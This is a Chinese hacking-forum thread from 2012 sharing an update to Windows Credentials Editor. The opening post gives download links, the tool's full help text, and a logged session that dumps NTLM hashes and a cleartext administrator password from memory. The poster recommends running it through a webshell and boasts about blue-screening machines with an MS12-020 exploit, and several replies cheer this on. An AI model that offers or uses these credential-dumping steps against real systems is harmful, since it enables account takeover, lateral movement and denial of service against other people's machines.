


论坛 --==应用安全技术交流{ Security On Application }=== 资源分享{ Share Of Resources } wce更新, 添加了dump明文密码功能

发帖

返回列表 1 2 3 1 / 3 页 下一页

查看: 1296 | 回复: 29

ettack



[软件] wce更新, 添加了dump明文密码功能 [复制链接]

发表于 2012-3-16 14:05:42 | 只看该作者 | 只看大图 ▶

楼主 电梯直达

前两天就更新了的, 版本:WCE 1.3 beta
mimikaz可以看明文密码, wce当然要跟上节奏
下载地址:
http://www.ampliasecurity.com/research/wce_v1_3beta.tgz
http://www.ampliasecurity.com/research/wce_v1_21_x64.tgz
简介:
Windows Credentials Editor (WCE)是一款功能强大的windows平台内网渗透工具, 它可以列举登陆会话, 并且可以添加、改变和删除相关凭据(例如: LM/NT hashes)。这些功能在内网渗透中能够被利用, 例如, 在windows平台上执行绕过hash或者从内存中获取NT/LM hashes(也可以从交互式登陆、服务、远程桌面连接中获取)以用于进一步的攻击。
支持平台:
Windows XP, 2003, Vista, 7 和2008 (未对Vista进行实际测试, 但应该支持)。
Windows Credentials Editor 已经更新至1.3 beta版, 新版本主要改变:
Bug fixes
Extended support to obtain NTLM hashes without code injection
Added feature to dump login cleartext passwords stored by the Digest Authentication package

看我昨天亲测的command记录和截图:

```
01. C:\>cd wce_v1_3beta
02.
03. C:\wce_v1_3beta>wce -h
04. WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security -
05. by Hernan Ochoa (hernan@ampliasecurity.com)
06. Use -h for help.
07. Options:
08.     -l          List logon sessions and NTLM credentials (default).
09.     -s          Changes NTLM credentials of current logon session.
10.                Parameters: <UserName>:<DomainName>:<LMHash>:<NTHash>.
11.     -r          Lists logon sessions and NTLM credentials indefinitely.
12.                Refreshes every 5 seconds if new sessions are found.
13.                Optional: -r<refresh interval>.
14.     -c          Run <cmd> in a new session with the specified NTLM crede
15. ntials.
16.                Parameters: <cmd>.
17.     -e          Lists logon sessions NTLM credentials indefinitely.
18.                Refreshes every time a logon event occurs.
19.     -o          saves all output to a file.
20.                Parameters: <filename>.
21.     -i          Specify LUID instead of use current logon session.
22.                Parameters: <luid>.
23.     -d          Delete NTLM credentials from logon session.
24.                Parameters: <luid>.
25.     -a          Use Addresses.
26.                Parameters: <addresses>
27.     -f          Force 'safe mode'.
28.     -g          Generate LM & NT Hash.
29.                Parameters: <password>.
30.     -K          Dump Kerberos tickets to file (unix & 'windows wce' form
31. at)
```

http://sb.f4ck.org/thread-1473-1-1.html

1/5

```
32.         -k             Read Kerberos tickets from file and insert into Windows
33.  cache
34.         -w             Dump cleartext passwords stored by the digest authentica
35.  tion package
36.         -v             verbose output.
37.
38.  C:\wce_v1_3beta>wce -l             //读hash
39.  WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security -
40.  by Hernan Ochoa (hernan@ampliasecurity.com)
41.  Use -h for help.
42.
43.  Administrator:ETTACK-17A2D337:00000000000000000000000000000000:364C34E40DB144ACA
44.  98BA662C244860C
45.  ETTACK-17A2D337$:WORKGROUP:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C
46.  59D7E0C089C0
47.
48.  C:\wce_v1_3beta>wce -w             //读明文密码
49.  WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security -
50.  by Hernan Ochoa (hernan@ampliasecurity.com)
51.  Use -h for help.
52.
53.
54.  Administrator\ETTACK-17A2D337:verylongpassword
55.  NETWORK SERVICE\WORKGROUP:verylongpassword
56.
57.  C:\wce_v1_3beta>Haha!!!
```

[复制代码](#)

怎样，比mimikaz简单吧，基本就是一键操作，更适合webshell里操作哦
另外，我用silic的ms12020蓝屏蓝的很爽哦，大家一起来吧 😁

密码

分享到: QQ好友和群 QQ空间 腾讯微博 腾讯朋友

收藏 3 分享

相关帖子

- 某办公用品网sql注入，获取管理员账号及密码
 - 纯手工注入+社工密码+上传webshell
 - 请设定登录安全保护问题，否则将不能登录
 - 2014_09_02_00_webvulnscan95
 - 2014_11_26_00_webvulnscan95.exe
- 某大马求爆破密码~
 - 求助写截获密码的源码
 - [11.4G]听潮社区2012-2013年部分原创作品集
 - 关于nexpose与nessus安装后没有用户密码问题
 - setoolkit反向监听

回复

举报









叛逆的007

发表于 2012-3-16 14:31:02 | 只看该作者

2楼

本帖最后由 叛逆的007 于 2012-3-16 14:32 编辑

沙发，谢谢分享！

	<div>回复</div> <div>举报</div>
sweet 该用户已被删除	<div> 发表于 2012-3-16 15:05:37 只看该作者</div> <div>3楼</div>
	我蓝的也很爽哦！亲
arschloch 该用户已被删除	<div>回复</div> <div>举报</div>
	<div> 发表于 2012-3-16 19:04:23 只看该作者</div> <div>4楼</div>
	 同蓝。。。
Dyn	<div>回复</div> <div>举报</div>
	<div> 发表于 2012-3-16 19:13:38 只看该作者</div> <div>5楼</div>
	谢谢共享。
s0mewhat	<div>回复</div> <div>举报</div>
	<div> 发表于 2012-5-19 23:19:36 只看该作者</div> <div>6楼</div>
	多谢共享 收藏....
飘枫	<div>回复</div> <div>举报</div>
	<div> 发表于 2012-5-21 00:09:08 只看该作者</div> <div>7楼</div>
	RE: wce更新，添加了dump明文密码功能 有新的就好了。可以更新工具库了
Thanksweet 该用户已被删	<div>回复</div> <div>举报</div>
△	<div> 发表于 2012-5-21 13:23:36 只看该作者</div> <div>8楼</div>
	我拖到cmd里面去运行，怎么提示Program too big to fit in memory啊.... 求解🙄

Thanksweet 该用户已被删除

回复

举报

发表于 2012-5-21 13:38:06 | 只看该作者

9楼

.

11.jpg

(48.68 KB, 下载次数: 0)

运行不了啊

ettack



回复

举报

楼主 | 发表于 2012-5-21 14:09:36 | 只看该作者

10楼

Thanksweet 发表于 2012-5-21 13:38

.

我也不知道，可以直接拖进去么，我从来不这样的~~~你自己研究研究

发帖 ▾

返回列表

1

2

3

1 / 3 页

下一页

高级模式

您需要登录后才可以回帖 登录 | 立即注册  用QQ帐号登录

发表回复

☐ 回帖后跳转到最后一页

本版积分规则

Powered by Discuz! X3.1

小黑屋 | Wap | ListenTide (赣ICP备13001080号) 网站统计站长统计

http://sb.f4ck.org/thread-1473-1-1.html

4/5

